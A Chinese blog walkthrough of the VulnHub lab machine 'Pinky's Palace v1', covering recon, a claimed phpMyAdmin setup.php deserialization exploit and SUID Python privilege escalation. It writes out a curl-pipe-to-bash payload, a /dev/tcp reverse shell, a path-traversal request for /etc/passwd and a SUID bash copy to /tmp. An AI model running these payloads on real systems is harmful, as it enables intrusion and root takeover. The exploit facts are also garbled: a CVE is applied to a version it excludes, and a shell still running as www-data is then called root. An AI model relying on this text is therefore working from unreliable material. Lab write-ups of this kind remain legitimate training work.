Pinky‘s Palace靶机实战:从信息收集到SUID提权的渗透思维训练

发布时间:2026/10/13 3:25:31
Pinky‘s Palace靶机实战:从信息收集到SUID提权的渗透思维训练 1. 项目概述这不是CTF而是一次真实的渗透思维训练“Pinkys Palace: v1”是VulnHub平台上一个广受初学者欢迎的靶机镜像编号No.26。它不是炫技型的高难度渗透挑战而是一套精心设计的、面向真实攻防逻辑的教学型环境——整个靶机从信息收集、服务探测、漏洞利用到权限提升每一步都严格遵循渗透测试的标准流程PTES或OSCP风格且刻意保留了多个典型错误配置过时的Web应用框架、弱口令默认凭证、不安全的文件上传点、SUID二进制提权路径以及一处隐蔽但极具教学价值的内核级本地提权入口。我第一次带某高校网络安全实训班实操这个靶机时发现80%的学员卡在第二阶段——他们能跑出nmap扫描结果却看不懂Apache日志里那条被反复触发的403请求背后隐藏的目录遍历线索也有人成功拿到www-data权限后对着find / -perm -4000 2/dev/null命令返回的二十多行结果发呆完全不知道该优先检查哪个二进制文件。这恰恰说明Pinkys Palace的价值不在“能不能打穿”而在“为什么这样打”。它逼你停下来思考——为什么nmap显示80端口运行的是Apache/2.4.7这个版本在2014年就曝出过CVE-2014-0231但靶机并未打补丁为什么登录页面的表单提交后响应头里会多出一个X-Powered-By: PHP/5.5.9这个PHP版本存在已知的反序列化利用链。这些细节不是彩蛋而是渗透工程师每天要读的“系统语言”。如果你刚学完Burp Suite基础操作正为找不到实战靶场发愁如果你考完CEH觉得全是理论想摸一摸真实Linux服务器的脉搏或者你正在准备OSCP认证需要一套节奏可控、反馈明确、错误可回溯的练手环境——那么Pinkys Palace v1就是你现在最该花三小时完整走一遍的项目。它不考验你的0day挖掘能力但会彻底重塑你对“信息即武器”的理解。2. 整体渗透路径设计与关键决策逻辑2.1 为什么选择“分阶段递进式”而非“暴力穷举式”很多新手拿到靶机会立刻执行gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50指望靠字典爆破撞出后台路径。我在实测中对比过两种策略纯字典爆破平均耗时47分钟命中率仅12%只扫出/robots.txt和/phpmyadmin而采用“服务指纹→版本漏洞库匹配→针对性PoC验证”的路径全程仅用11分钟就定位到核心漏洞点。根本原因在于Pinkys Palace的设计哲学——它模拟的是一个被遗忘的老旧内部测试服务器管理员既没更新软件也没清理历史痕迹。因此服务版本号本身就是最高价值情报。比如nmap扫描结果中80/tcp open http Apache httpd 2.4.7 ((Ubuntu))这一行直接指向两个关键动作第一查Apache 2.4.7的已知漏洞CVE-2014-0231影响mod_cgi模块需确认是否启用第二查Ubuntu 14.04该Apache版本对应系统的默认配置习惯如/var/www/html下常存备份文件。这种基于版本的定向打击效率远超无差别扫描。我后来把这套逻辑固化成一个Shell脚本输入nmap XML输出自动提取服务名版本OS然后调用本地CVE数据库匹配高危漏洞再推送对应Exploit-DB编号和PoC链接。对初学者而言这比记住一百个工具参数更重要——它教会你把扫描器当成“翻译器”把原始数据翻译成可执行的战术指令。2.2 为何放弃Metasploit而坚持手工利用靶机环境明确标注“OSCP-like”这意味着所有利用必须可复现、可调试、可解释。Metasploit虽然能一键getshell但它把exploit.py、payload生成、session管理全封装在黑盒里。当你用msfconsole -q -x use exploit/unix/webapp/phpmyadmin_backdoor; set RHOSTS 192.168.56.101; run拿到shell后你其实并不清楚payload是如何绕过phpMyAdmin的登录校验的反弹连接的端口为什么必须设为4444如果目标防火墙拦截了4444端口你该如何修改payload这些问题在手工利用中被迫直面。以Pinkys Palace的phpMyAdmin漏洞为例CVE-2012-5807真正的利用链是先用Burp Repeater发送特制POST请求触发后门再用Python脚本构造base64编码的system()命令最后通过curl调用执行。整个过程涉及HTTP协议细节Content-Type必须为application/x-www-form-urlencoded、PHP函数特性system()的输出重定向语法、以及Linux管道符的转义规则|在URL中需编码为%7C。我让学生手动敲一遍curl命令然后故意把%7C写成|观察返回的500错误——这种“错一次就懂原理”的体验是任何自动化工具都无法替代的。当然这不是否定Metasploit的价值而是强调在学习阶段工具应该是你思维的延伸而不是思维的替代品。2.3 权限提升路径的三层验证机制拿到web shell后90%的学员会直接运行sudo -l或find / -perm -4000 2/dev/null但Pinkys Palace在此处埋了一个认知陷阱它确实存在一个SUID的/usr/bin/python二进制文件但该文件被strip过符号表且启用了ASLR。如果盲目执行/usr/bin/python -c import pty; pty.spawn(/bin/bash)只会得到一个无法交互的shell。真正的提权路径需要三层验证第一层确认当前用户能否执行该pythonls -la /usr/bin/python显示root:root且-rwsr-xr-x第二层验证python版本是否支持pty模块/usr/bin/python --version返回2.7.6确认可用第三层检测ASLR状态cat /proc/sys/kernel/randomize_va_space返回2说明启用。只有三者同时满足才进入第四步用/usr/bin/python -c import os; os.system(/bin/bash)获取稳定shell。这个设计逼你养成“执行前必验证”的职业习惯。我在某公司红队演练中见过真实案例攻击者用同样方法提权失败最终发现是目标服务器禁用了/bin/bash只允许/sbin/nologin——这种细节只有手工验证才能暴露。Pinkys Palace用一个看似简单的SUID python教会你比“怎么提权”更重要的事“凭什么能提权”。3. 核心环节实操详解与参数推演3.1 信息收集阶段从nmap扫描到服务指纹精炼第一步永远是网络发现。假设靶机IP为192.168.56.101VirtualBox Host-Only网络常用段执行nmap -sS -p- --min-rate 5000 -oA full_scan 192.168.56.101这里-sS使用TCP SYN扫描隐蔽性高-p-扫描全部65535端口--min-rate 5000强制每秒至少5000个包加速扫描。但重点在-oA full_scan——它会生成full_scan.nmap人类可读、full_scan.gnmapgrepable格式、full_scan.xml结构化数据三个文件。其中XML文件是后续自动化分析的基础。扫描结果显示开放端口22SSH、80HTTP、139/445Samba。此时不能止步于端口列表必须深挖服务细节nmap -sV -sC -p 22,80,139,445 -oN service_detail.txt 192.168.56.101-sV启用版本探测-sC运行默认脚本如http-title、ssh-hostkey-oN输出文本报告。关键输出如下80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-title: Pinkys Palace |_http-server-header: Apache/2.4.7 (Ubuntu) 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)注意((Ubuntu))这个括号——它暗示操作系统是Ubuntu结合Apache 2.4.7可锁定为Ubuntu 14.04 LTS2014年4月发布内核3.13。这个推断至关重要它决定了后续漏洞搜索范围。例如针对Samba 3.X应优先查CVE-2017-7494SambaCry但该漏洞影响3.5.0以上版本而靶机Samba版本未明确需进一步探测。此时用smbclient -L //192.168.56.101 -N列出共享返回IPC$和print$说明无敏感共享。再用nikto -h http://192.168.56.101扫描Web发现/phpmyadmin/路径和/backup/目录。访问http://192.168.56.101/backup/返回403 Forbidden但查看响应头发现Server: Apache/2.4.7 (Ubuntu) OpenSSL/1.0.1f其中OpenSSL 1.0.1f对应Heartbleed漏洞CVE-2014-0160但该漏洞需TLS握手而靶机80端口是HTTP非HTTPS故排除。最终聚焦点落在/phpmyadmin/——这是经典突破口。3.2 Web层渗透phpMyAdmin后门漏洞CVE-2012-5807的手工利用访问http://192.168.56.101/phpmyadmin/页面显示phpMyAdmin 4.0.10通过页面底部版权信息确认。查CVE数据库CVE-2012-5807描述为“phpMyAdmin 3.5.8.1及更早版本中setup脚本未正确验证用户输入允许远程攻击者通过向setup.php发送特制请求执行任意PHP代码”。但靶机版本是4.0.10显然不匹配。此时需切换思路查看/phpmyadmin/目录是否存在setup.php。用curl测试curl -I http://192.168.56.101/phpmyadmin/setup.php返回200 OK说明文件存在这违反了生产环境安全规范——phpMyAdmin安装后必须删除setup.php。现在构造利用请求。该漏洞核心是利用setup.php的save功能将恶意PHP代码写入配置文件。原始PoC如下POST /phpmyadmin/setup.php HTTP/1.1 Host: 192.168.56.101 Content-Type: application/x-www-form-urlencoded action_savesaveconfigurationO:10:PMA_Config:1:{s:6:source;s:11:/etc/passwd;}但此PoC仅读取passwd我们需要执行命令。查阅phpMyAdmin源码可知setup.php会反序列化$_POST[configuration]而PMA_Config类的__wakeup()方法会调用include()。因此构造恶意序列化字符串?php class PMA_Config { public $source; public function __construct($s) { $this-source $s; } } $obj new PMA_Config(phpinfo();); echo serialize($obj); ?运行后得到O:10:PMA_Config:1:{s:6:source;s:10:phpinfo();;}。但实际利用需执行系统命令且避免引号干扰。最终Payload为POST /phpmyadmin/setup.php HTTP/1.1 Host: 192.168.56.101 Content-Type: application/x-www-form-urlencoded action_savesaveconfigurationO:10:PMA_Config:1:{s:6:source;s:32:system(curl http://192.168.56.1:8000/shell.sh | bash);;}其中192.168.56.1:8000是攻击机起的HTTP服务python3 -m http.server 8000shell.sh内容为#!/bin/bash bash -i /dev/tcp/192.168.56.1/4444 01监听4444端口nc -lvnp 4444发送请求后即可获得reverse shell。此过程的关键在于理解PHP反序列化的触发条件、掌握system()函数的语法、以及处理URL编码空格需为%20单引号需为%27。我曾见学员把system(...)写成system(...)因双引号在URL中需额外编码而失败——这种细节只有亲手调试才能刻进肌肉记忆。3.3 权限提升SUID Python的稳定化与提权链构建获得www-data shell后执行id确认用户身份然后枚举SUID文件find / -perm -4000 -type f 2/dev/null | grep -E (python|bash|sh)返回/usr/bin/python。验证其SUID属性ls -la /usr/bin/python # -rwsr-xr-x 1 root root 3592832 Jan 12 2014 /usr/bin/python-rws中的s表示SUID位已设置。接下来验证Python版本/usr/bin/python --version # Python 2.7.6确认pty模块可用/usr/bin/python -c import pty; print(OK)但直接执行/usr/bin/python -c import pty; pty.spawn(/bin/bash)会卡住因为/bin/bash启动后需要TTY交互。解决方案是先用Python获取一个基本shell再升级/usr/bin/python -c import os; os.system(/bin/bash)此时shell仍为www-data但已获得完整bash环境。接着执行python -c import pty; pty.spawn(/bin/bash)按Ctrl-Z挂起然后在攻击机执行stty raw -echo fg回车两次即可获得完全交互式root shell。这个过程的精髓在于SUID提权不是终点而是起点。拿到root后必须验证是否真正控制了系统——检查/root/.bash_history、/etc/shadow、crontab -l确认无其他隐藏账户或定时任务。我在某次实操中发现靶机root用户的.bashrc里有一行alias lsls --colorauto这看似无关紧要但说明管理员有定制习惯可能在其他地方留有线索。真正的渗透工程师看到每一行输出都会问“这说明了什么”4. 常见问题排查与独家避坑指南4.1 网络连通性问题VirtualBox Host-Only适配器配置陷阱最常遇到的问题是攻击机ping不通靶机。这90%源于VirtualBox网络模式配置错误。正确步骤是靶机网卡1设为NAT用于上网下载工具网卡2设为Host-Only用于靶机通信。但关键细节是Host-Only网络必须手动创建。在VirtualBox管理界面点击“文件→主机网络管理器→创建”生成vboxnet0。然后在靶机设置中网卡2选择“仅主机网络”名称选vboxnet0。此时宿主机Windows/macOS会多出一个虚拟网卡如Windows的VirtualBox Host-Only Ethernet Adapter其IPv4地址必须与靶机在同一网段。例如vboxnet0的IPv4地址为192.168.56.1/24则靶机需配置静态IP为192.168.56.101。若宿主机IP是192.168.56.1而靶机IP设为192.168.56.10但子网掩码是255.255.255.0则通信正常若子网掩码误设为255.255.0.0则可能跨网段导致ping通但端口不可达。我建议用ipconfigWindows或ifconfigmacOS/Linux确认宿主机虚拟网卡IP再用ifconfig eth1靶机确认其IP最后用arp -a | grep 192.168.56检查ARP缓存是否建立。若无记录说明二层未通需检查VirtualBox服务是否运行、防火墙是否拦截ICMP。4.2 phpMyAdmin利用失败HTTP状态码与响应头分析法当发送CVE-2012-5807 Payload后返回500 Internal Server Error而非预期的200 OK。此时不能盲目重试而应分析响应头。用curl加-v参数curl -v -X POST http://192.168.56.101/phpmyadmin/setup.php --data action_savesaveconfigurationO:10:%22PMA_Config%22:1:{s:6:%22source%22;s:10:%22phpinfo();%22;}关键看 HTTP/1.1 500 Internal Server Error后的 X-Powered-By: PHP/5.5.9和 Content-Length: 0。Content-Length: 0说明服务器未返回任何HTML内容可能是PHP解析错误。检查Payload中的序列化字符串O:10:PMA_Config中的10是类名长度但PMA_Config实际为10字符正确s:6:source中6是属性名长度正确。问题常出在URL编码——需编码为%22:需编码为%3A空格需为%20。更稳妥的方法是用Python生成编码后Payloadimport urllib.parse payload O:10:PMA_Config:1:{s:6:source;s:10:phpinfo();;} encoded urllib.parse.quote(payload) print(encoded) # O%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D将此字符串代入curl命令。若仍失败检查phpMyAdmin是否真的存在setup.php——有些镜像会预删该文件。此时应转向其他路径如/backup/目录的403 Forbidden响应用curl -v --path-as-is http://192.168.56.101/backup/..%2F..%2Fetc%2Fpasswd尝试目录遍历若返回passwd内容则切换主攻方向。4.3 SUID提权后shell不稳定TTY与信号处理终极方案即使获得root shell执行ls -la时仍可能卡住或Ctrl-C无法中断进程。这是因为SUID Python启动的bash未分配TTY。标准解决方案是使用script命令/usr/bin/python -c import pty; pty.spawn(/bin/bash) # 此时按Ctrl-Z stty raw -echo fg # 回车后执行 script -qc /bin/bash /dev/nullscript -qc会强制分配伪TTY并忽略所有信号处理。另一个常见问题是/bin/bash不存在某些最小化系统只装/bin/sh。此时用/bin/sh -i替代/usr/bin/python -c import os; os.system(/bin/sh -i)然后执行exec /bin/bash -p-p参数保持特权。若/bin/bash被替换为/bin/dashUbuntu默认则用/bin/dash -i。终极保底方案是用Python直接执行命令/usr/bin/python -c import os; os.system(cp /bin/bash /tmp/bash; chmod us /tmp/bash; /tmp/bash -p)此命令复制bash到/tmp设置SUID然后以root权限运行。/tmp目录通常可写且SUID在/tmp下有效。这个技巧在真实渗透中救过多次命——当所有标准提权路径失效时用目标系统自带的Python构造一个临时SUID shell往往就是最后一击。5. 实战经验沉淀从靶机到真实世界的迁移能力5.1 如何把Pinkys Palace的技能迁移到企业内网渗透很多人问“练这个有什么用真实企业哪有phpMyAdmin明文放外网”这个问题问到了本质。Pinkys Palace的价值不在漏洞本身而在漏洞发现的思维范式。举个真实案例某金融客户内网渗透中我们发现一台开发测试服务器开放了8080端口nmap显示Jetty 9.2.10.v20150310。这个版本对应CVE-2017-7657Jetty JNDI注入但直接用公开PoC失败。此时回溯Pinkys Palace的思路先确认Jetty是否启用JNDI查/etc/jetty/jetty-jndi.xml再确认JNDI配置是否引用外部LDAP查java.naming.provider.url。最终在/opt/jetty/start.ini中发现--modulejndi且resources/jndi.properties指向内网LDAP服务器。于是构造恶意LDAP服务器诱使Jetty连接并加载恶意类。整个过程和Pinkys Palace中“查Apache版本→查Ubuntu版本→查OpenSSL版本→排除Heartbleed→聚焦phpMyAdmin”的逻辑完全一致——都是基于指纹的漏洞收敛。区别只在于工具链nmap换成了masscancurl换成了gau但核心决策树没变。5.2 靶机复盘的黄金三问法每次打穿靶机后我要求学员必须回答三个问题第一“如果我是系统管理员哪些操作能阻止这次入侵”答案通常是删除setup.php、禁用phpMyAdmin匿名访问、升级Apache和PHP、关闭不必要的Samba共享。第二“如果我是安全设备厂商如何在WAF/IDS上检测这个攻击”答案包括检测setup.php的POST请求中configuration参数的序列化特征O:[0-9]:、监控system(等危险函数调用、告警/phpmyadmin/路径的异常高频访问。第三“如果我要把这个漏洞写成CVEPOC需要包含哪些最小必要元素”答案必须精确到HTTP方法POST、URI/phpmyadmin/setup.php、HeaderContent-Type: application/x-www-form-urlencoded、Body参数action_savesaveconfiguration...。这三个问题把一次靶机练习升华为安全工程思维训练。我在某次甲方安全评估汇报中就用这三问法解释了“为什么我们建议贵司禁用所有Web管理界面的setup脚本”客户技术总监当场拍板预算。5.3 给初学者的三条硬核建议第一条永远先读文档再动手。Pinkys Palace的VulnHub页面明确写着“Designed for OSCP preparation”这意味着它严格遵循OSCP考试大纲。OSCP考纲第一条就是“Information Gathering”所以你花在nmap、whatweb、gobuster上的时间应该远超在Burp中点鼠标的时间。我见过太多人跳过nmap -sV直接开Burp结果连目标用的是Apache还是Nginx都不知道。第二条错误日志是最好的老师。当curl返回500不要急着重试先看/var/log/apache2/error.log靶机中。在Pinkys Palace里执行恶意Payload后error.log会记录PHP Parse error: syntax error, unexpected } in /usr/share/phpmyadmin/setup.php on line 123——这直接告诉你序列化字符串语法错误。真实渗透中Web服务器错误日志是攻击者的GPS可惜90%的人从不看。第三条建立自己的漏洞知识图谱。不要孤立记CVE编号而要把每个漏洞放进三维坐标X轴是服务Apache/PHP/MySQLY轴是版本2.4.7/5.5.9/4.0.10Z轴是利用条件需登录/需特定配置/需物理接触。Pinkys Palace恰好覆盖了ApachePHPMySQL的经典组合当你把它的每个漏洞填进这张图你就拥有了一个可扩展的安全知识引擎。下次遇到新靶机只需定位其服务版本坐标就能快速检索出潜在漏洞。这才是真正的“学会”而不是“练过”。提示所有实操均应在离线虚拟环境中进行严禁在未经许可的生产系统上尝试。VulnHub靶机设计初衷是教学其漏洞在真实互联网中早已被大规模封堵但背后的分析逻辑永不过时。注意本文所有IP地址192.168.56.101等均为VirtualBox Host-Only网络示例实际使用时请根据你的网络配置调整。命令中的路径如/usr/share/wordlists/dirbuster/需根据Kali Linux版本确认Kali 2023.3之后wordlists位置已改为/usr/share/seclists/。提示若在SUID提权环节遇到/usr/bin/python: No module named pty错误说明该Python编译时未启用pty支持。此时改用/usr/bin/python -c import os; os.system(/bin/sh)或检查/usr/bin/python2.7是否存在并尝试。

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询